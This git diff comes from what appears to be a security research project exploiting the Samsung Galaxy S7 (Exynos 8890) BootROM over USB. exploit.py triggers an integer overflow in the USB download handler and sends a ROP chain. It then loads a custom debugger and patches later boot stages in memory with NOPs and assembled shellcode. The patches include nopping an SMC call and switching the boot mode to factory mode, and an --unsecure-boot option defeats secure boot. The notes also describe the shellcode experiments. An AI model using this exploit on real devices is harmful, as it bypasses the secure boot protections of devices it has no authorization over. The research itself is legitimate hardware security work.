diff --git a/documentation/source/BootROM_8890/04_notes.rst b/documentation/source/BootROM_8890/04_notes.rst index 4c7d16d..aa7388d 100644 --- a/documentation/source/BootROM_8890/04_notes.rst +++ b/documentation/source/BootROM_8890/04_notes.rst @@ -232,6 +232,30 @@ So, I've written something to dump the location of thte TTBR0_EL3 table, before df['TTBR0_EL3'] = [blub] df.to_pickle('ttbr0_el3.pkl') - +I tried modifying some code to write text to the screen. In order to view whether this would at all be possible, I tried modifying code that would alter the message printed when booting normally (it would print: USB RECOVERY MODE). But it would appear that this is already in space that is by then not accessible anymore. The 'str' function crashes the device. Doesn't really matter where I do this, but the space seems immutable.. The movz and movk is because I was having issues moving data into registers. + +.. code:: python + + # Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite + for i in range(0x8f008cb8, 0x8f008d14, 4): + self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5') + #self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5)) + + # Write opcode that writes 'aaaaaaaa' at 0x8f06ab10 + shellcode = f""" + // Load the target address (0x8f06ab10) into x21 + movz x21, #0x8f06 // Load the high half of the address + movk x21, #0xab10, lsl #16 // Load the low half of the address + + // Load the value 'aaaa' (0x6161616161616161) into x22 + movz x20, #0xbeef + + // Write the contents of x20 to the bytes where x21 points to + str x20, [x21] + """ + shellcode = ks.asm(shellcode, as_bytes=True)[0] + self.cd.memwrite_region(0x8f008cb8, shellcode) + +It would appear that I'm currently only able to modify code before executing any part of BL33. I'm as of yet unable to return to the debugger at any point in BL33. diff --git a/source/exploit/exploit.py b/source/exploit/exploit.py index cd0f749..ec9f52b 100644 --- a/source/exploit/exploit.py +++ b/source/exploit/exploit.py @@ -41,7 +41,7 @@ TARGET_OFFSETS = { def wait_for_device(): while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is None: pass - + def wait_disconnect(): while usb.core.find(idVendor=0x04e8, idProduct=0x1234) is not None: pass @@ -78,7 +78,7 @@ class ExynosDevice(): continue break - try: + try: self.handle.getDevice().getSerialNumber() except Exception as e: if e.value == usb1.libusb1.LIBUSB_ERROR_TIMEOUT or e.value == usb1.libusb1.LIBUSB_ERROR_IO: @@ -86,11 +86,11 @@ class ExynosDevice(): sys.exit(1) else: raise e - + # claim usb interface self.handle.claimInterface(0) print(f"Connected device! {hex(self.idVendor)} {hex(self.idProduct)}") - + def disconnect(self): """Disconnect the device""" self.handle.releaseInterface(0) @@ -110,7 +110,7 @@ class ExynosDevice(): res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, 0, 0, ctypes.byref(transferred), 0) assert(res == 0) return transferred.value - + def test_bug_2(self): """Interger overflow in last packet if reamining size is 1.""" transferred = ctypes.c_int() @@ -118,11 +118,11 @@ class ExynosDevice(): bug_payload += b"\xcc" * (BLOCK_SIZE - len(bug_payload)) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, bug_payload, len(bug_payload), ctypes.byref(transferred), 0) assert res == 0 - + payload = b"\xaa" * 0x200 res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) assert res == 0 - + payload = b"\xaa" * 0x200 res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, payload, len(payload), ctypes.byref(transferred), 0) while True: @@ -136,26 +136,26 @@ class ExynosDevice(): payload = p32(0) + p32(0xFDFDE7FF + 0x1000) + b"\x00" * MAX_PAYLOAD_SIZE + p16(0) assert (len(payload) == BLOCK_SIZE) - res = self.write(payload, MAX_PAYLOAD_SIZE) + res = self.write(payload, MAX_PAYLOAD_SIZE) - for i in range(200): + for i in range(200): print(hex(self.send_empty_transfer())) - + print('Bug probably available') sys.exit(0) - + def send_normal_stage(self, payload): """Send next boot stage to the device""" # construct dl_data - dpayload = struct.pack("= xfer_buffer_start and current_offset < xfer_buffer_start: @@ -224,7 +224,7 @@ class ExynosDevice(): if current_offset > 0x100000000: current_offset = current_offset - 0x100000000 #reset 32 byte integer print(f"{cnt} {hex(current_offset)}") - + remaining = (TARGET_OFFSETS[self.target][1] - current_offset) assert remaining != 0, "Invalid remaining, needs to be > 0 in order to overwrite with the last packet" if remaining > BLOCK_SIZE: @@ -233,7 +233,7 @@ class ExynosDevice(): current_offset += ((remaining // BLOCK_SIZE) * BLOCK_SIZE) cnt += 1 print(f"{cnt} {hex(current_offset)}") - + # Build ROP chain. rop_chain = (b"\x00" * (ram_size - 6)) + p64(TARGET_OFFSETS[self.target][0]) + (b"\x00" * 2) transferred = ctypes.c_int(0) @@ -266,7 +266,7 @@ class ExynosDevice(): concrete_device.ga_vbar_location = 0x206d000 + 0x1000 concrete_device.ga_storage_location = 0x206d000 concrete_device.ga_stack_location = 0x206b000 - + concrete_device.arch_dbg = GA_arm64_debugger(concrete_device.ga_vbar_location, concrete_device.ga_debugger_location, concrete_device.ga_storage_location) concrete_device.arch_dbg.read = self.usb_read concrete_device.arch_dbg.write = self.usb_write @@ -287,14 +287,14 @@ class ExynosDevice(): p = p32(count) + b"\xaa" * (0x200 - 4) res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, ENDPOINT_BULK_OUT, p, len(p), ctypes.byref(transferred), 100) assert res == 0, f"Error sending data ({res})" - + def _recv_data(): transferred.value = 0 buf = ctypes.c_buffer(b"", 0x200) - res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) + res = libusb1.libusb_bulk_transfer(self.handle._USBDeviceHandle__handle, 0x81, buf, len(buf), ctypes.byref(transferred), 100) assert res == 0, f"Error receiving data ({res})" hexdump(buf.raw) - + # Should have received some bytes while True: _send_data() @@ -323,7 +323,7 @@ class ExynosDevice(): """ Sets up guppy debugger on the device itself. """ - + def _setup_debugger(): ''' Setup the debugger as a concrete device @@ -351,15 +351,15 @@ class ExynosDevice(): self.usb_write(debugger[block:block+0x200]) # time.sleep(.5) # Wait a little bit assert self.usb_read(0x200) == b"GiAs", "No response from debugger" - + # Test basic functionality self.usb_write(b"PING") r = self.usb_read(0x200) assert r == b"PONG", f"Invalid response from device: {r}" - + _initial_run_debugger() _setup_debugger() - + def relocate_debugger(self, debugger=None, entry=0x020c0000, storage=0x020c4000, g_data_received=0x020c6000, alternative_size=0x1000): """ @@ -388,7 +388,7 @@ class ExynosDevice(): self.cd.restore_stack_and_jump(entry) assert self.usb_read(0x200) == b"GiAs", "Failed to relocate debugger" self.cd.relocate_debugger(g_data_received+alternative_size, entry, storage) #0x20c7000, 0x20c0000, 0x20c4000 - + def dumb_interact(self, dump_imems=False): ''' @@ -398,7 +398,7 @@ class ExynosDevice(): self.cd.arch_dbg.state.auto_sync_special = False logger.debug('State after setting up initial debugger') self.cd.arch_dbg.state.print_ctx() - + def first_debugger(): debugger = open("/home/eljakim/Source/gupje/source/bin/samsung_s7/debugger.bin", "rb").read() self.cd.memwrite_region(0x2069000, debugger) @@ -412,7 +412,7 @@ class ExynosDevice(): ### Get whereabouts of the debugger and current processor state logger.debug('State after relocating debugger') self.cd.arch_dbg.state.print_ctx() - + def memdump_imem(): """ Dumps the internal memory of the device (0x2020000 - 0x2070000). @@ -422,7 +422,7 @@ class ExynosDevice(): # print(hex(block)) dumped += self.cd.memdump_region(block, 0x200) return dumped - + AUTH_BL1 = 0x00012848 # Location of the authentication function def auth_bl1(lr=0x2069000): # Load the firmware @@ -432,67 +432,67 @@ class ExynosDevice(): self.cd.restore_stack_and_jump(AUTH_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" assert self.cd.arch_dbg.state.X0 == 0, "auth_bl1 returned with error!" - + BOOT_BL1 = 0x00019310 # Location of the boot function def boot_bl1(lr=0x2069000): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(BOOT_BL1) assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" - + JUMP_BL1 = 0x000002c0 # Location of the function to start the BL1 boot def jump_bl1(lr): self.cd.arch_dbg.state.LR = lr self.cd.restore_stack_and_jump(JUMP_BL1) - + # Always hijack rom_usb_download function: rom_usb_download = self.cd.memdump_region(0x020200dc, 4) self.cd.memwrite_region(0x020200dc, p32(0x2069000)) - + # Try loading bl1 bl1 = open("../S7/bl1.bin", "rb").read() self.cd.memwrite_region(0x02021800, bl1) self.usb_write(b"FLSH") # Flush cache, as Frederic does - self.cd.test_connection() + self.cd.test_connection() auth_bl1(DEBUGGER_ADDR) # boot_bl1(DEBUGGER_ADDR) self.cd.memwrite_region(0x02022858, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) # jump to debugger on next stage download self.cd.memwrite_region(0x020219cc, self.cd.arch_dbg.sc.branch_absolute(DEBUGGER_ADDR)) jump_bl1(DEBUGGER_ADDR) - + # Returns on usb_download function assert self.usb_read(0x200) == b"GiAs", "Failed to jump back to debugger" self.cd.arch_dbg.state.print_ctx() - dl_ready, next_stage = struct.unpack("I', 0x53614d74)) print(self.cd.memdump_region(0x8f063710, 0x8)) # Modify USB Recovyer mode string to: NFI Patched BL33 - patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33' - # self.cd.memwrite_region(0x8f06ab10, b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33') + # patch_string = b'\x4e\x46\x49\x20\x50\x61\x74\x63\x68\x69\x6e\x67\x20\x42\x4c\x33\x33' + # self.cd.memwrite_region(0x8f06ab10, patch_string) # Print state of x30/LR on screen - # self.cd.memwrite_region(0x8f01dc08, struct.pack('>I', 0xa40000f9)) + self.cd.memwrite_region(0x8f063718, struct.pack('>I', 0x61616161)) - # Write NOP from 0x8f008cb8 to 0x8f008d14 - self.cd.memwrite_region(0x8f008cb8, b'\x1f\x20\x03\xd5' * 10) + ### ==================== Writing nops to code cave + # Write NOP from 0x8f008cb8 to 0x8f008d14 using self.cd.memwrite + for i in range(0x8f008cb8, 0x8f008d14, 4): + self.cd.memwrite_region(i, b'\x1f\x20\x03\xd5') + #self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5)) - # Write opcode that writes 'aaaaaaaa' at 0x8f06ab10 +0x8 - shellcode = f""" - mov x21, #0x1 - """ - shellcode = ks.asm(shellcode, as_bytes=True)[0] - self.cd.memwrite_region(0x8f008cb8, shellcode) + # Overwrite the data pointer showing 'USB Recovery Mode' to something else + # self.cd.memwrite_region(0x8f01dc00, struct.pack('>I', 0x24080090)) + # Overwrite a str to a something else + # self.cd.memwrite_region(0x8f01dc28, struct.pack('>I', 0xe40300f9)) + + # Nop initial show usb recovery mode screen function + # self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0x1f2003d5)) + self.cd.memwrite_region(0x8f022654, struct.pack('>I', 0xe4ff9fd2)) + + # Modify a mov function (0xffff into x4). If this is not nopped, or adjusted, the device will crash. But will try to continue booting (?) + self.cd.memwrite_region(0x8f022658, struct.pack('>I', 0x1f2003d5)) #0xe5031daa. + + # Overwrite log function to display screen at end of nops + self.cd.memwrite_region(0x8f02265c, struct.pack('>I', 0xbbffff97)) #0xbbffff97 + # ================== + + # for i in range(0x8f008cd8, 0x8f008cf4, 4): + # self.cd.memwrite_region(i, struct.pack('>I', 0x1f2003d5)) + + # # Write shellcode to set some contents on x0 to x5 registers + # shellcode = f""" + # // x5 is the address at x0 + # mov x5, x0 + # mov x0, 0x1234 + # mov x1, 0x12 + # mov x2, 0xffff + # mov x3, 0xffff + # mov x4, 0xffff + # bl 0x8f025fb8 + # // ret + # """ + # shellcode = ks.asm(shellcode, as_bytes=True)[0] + # self.cd.memwrite_region(0x8f008cd8, shellcode) + + # Nop a adrp towards 0x8f09a000 + self.cd.memwrite_region(0x8f008cb8, struct.pack('>I', 0x1f2003d5)) + + # ODIN MODE to FACTORY mode + self.cd.memwrite_region(0x8f0114f8, struct.pack('>I', 0x82008052)) + + # Nop a SMC call in BL2 + self.cd.memwrite_region(0x02059650, struct.pack('>I', 0x1f2003d5)) + + # Jump into a different function that continues the boot flow (different than BL33_LR) self.cd.restore_stack_and_jump(0x02024e5c) pass - + if __name__ == "__main__": arg = argparse.ArgumentParser("Exynos exploit") arg.add_argument("--debug", action="store_true", help="Debug USB stack", default=False) arg.add_argument("--unsecure-boot", action="store_true", help="Unsecure boot", default=False) arg.add_argument("--debugger-boot", action="store_true", help="Unsecure boot", default=False) - + args = arg.parse_args() exynos = ExynosDevice() @@ -843,7 +891,7 @@ if __name__ == "__main__": exynos.dump_memory(write=True) # exynos.usb_debug() sys.exit(0) - + if args.unsecure_boot: exynos.unsecure_boot() sys.exit(0) @@ -857,5 +905,5 @@ if __name__ == "__main__": exynos.setup_guppy_debugger() exynos.dumb_interact() - + sys.exit(0) \ No newline at end of file diff --git a/source/exploit/ttbr0_el3.pkl b/source/exploit/ttbr0_el3.pkl index 1f747f4..bb23d5b 100644 Binary files a/source/exploit/ttbr0_el3.pkl and b/source/exploit/ttbr0_el3.pkl differ diff --git a/source/screen_print/Makefile b/source/screen_print/Makefile new file mode 100644 index 0000000..0736f74 --- /dev/null +++ b/source/screen_print/Makefile @@ -0,0 +1,18 @@ +ifeq ($(ANDROID_NDK_ROOT),) +$(error Error : Set the env variable 'ANDROID_NDK_ROOT' with the path of the Android NDK (version 20)) +endif + +CC := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android27-clang +AR := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ar +OBJCOPY := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-objcopy +LD := $(ANDROID_NDK_ROOT)/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android-ld.bfd + +#==================Target Samsung S7 (8890)================== +CFLAGS_SAMSUNGS7 = -Os # -Os for optimization for size + +print: + $(CC) entry.S -c -o entry.o $(CFLAGS_SAMSUNGS7) # -c compiles assembly code, and -o creates an object file (containing linking and symbol information) + $(CC) $(CFLAGS_SAMSUNGS7) -c test_print.c -o print.o # compiles test_print.c to print.o + $(LD) -T test_print.ld entry.o print.o -o print.elf --just-symbols=symbols.txt # -T for linker script, --just-symbols for symbols file + $(OBJCOPY) -O binary print.elf print.bin + \ No newline at end of file diff --git a/source/screen_print/Readme.md b/source/screen_print/Readme.md new file mode 100644 index 0000000..e69de29 diff --git a/source/screen_print/entry.S b/source/screen_print/entry.S new file mode 100644 index 0000000..16eace3 --- /dev/null +++ b/source/screen_print/entry.S @@ -0,0 +1,2 @@ +start: + b notmain diff --git a/source/screen_print/entry.o b/source/screen_print/entry.o new file mode 100644 index 0000000..4a40c45 Binary files /dev/null and b/source/screen_print/entry.o differ diff --git a/source/screen_print/print.elf b/source/screen_print/print.elf new file mode 100755 index 0000000..0147894 Binary files /dev/null and b/source/screen_print/print.elf differ diff --git a/source/screen_print/print.o b/source/screen_print/print.o new file mode 100644 index 0000000..eacd50f Binary files /dev/null and b/source/screen_print/print.o differ diff --git a/source/screen_print/symbols.txt b/source/screen_print/symbols.txt new file mode 100644 index 0000000..7322493 --- /dev/null +++ b/source/screen_print/symbols.txt @@ -0,0 +1 @@ +jh_print_to_screen = 0x8f0222d0; \ No newline at end of file diff --git a/source/screen_print/test_print.c b/source/screen_print/test_print.c new file mode 100644 index 0000000..fb81a15 --- /dev/null +++ b/source/screen_print/test_print.c @@ -0,0 +1,16 @@ +#include + +void jh_print_to_screen(int param_1,int param_2,int param_3,int param_4,int param_5,char *param_6, + int param_7); + +// uint r_log(char *fmt,...); + +int notmain(char *msg, int msg_len){ + // jh_print_to_screen(0x1234, 12, 0xfff, 0xfff, msg, msg_len, 2); + // volatile int a = 0; + // for(int i = 0; i < 100000; i++){ + // a++; + // } + // while(1); + return 0; +} \ No newline at end of file diff --git a/source/screen_print/test_print.ld b/source/screen_print/test_print.ld new file mode 100644 index 0000000..24c6352 --- /dev/null +++ b/source/screen_print/test_print.ld @@ -0,0 +1,14 @@ +MEMORY { + ROM (rwx): ORIGIN = 0x8f007de8, LENGTH = 0x108 +} + +SECTIONS +{ + . = 0x8f007de8; + .text . : { + *(.text*) + *(.data*) + *(.rodata*) + } >ROM + +} \ No newline at end of file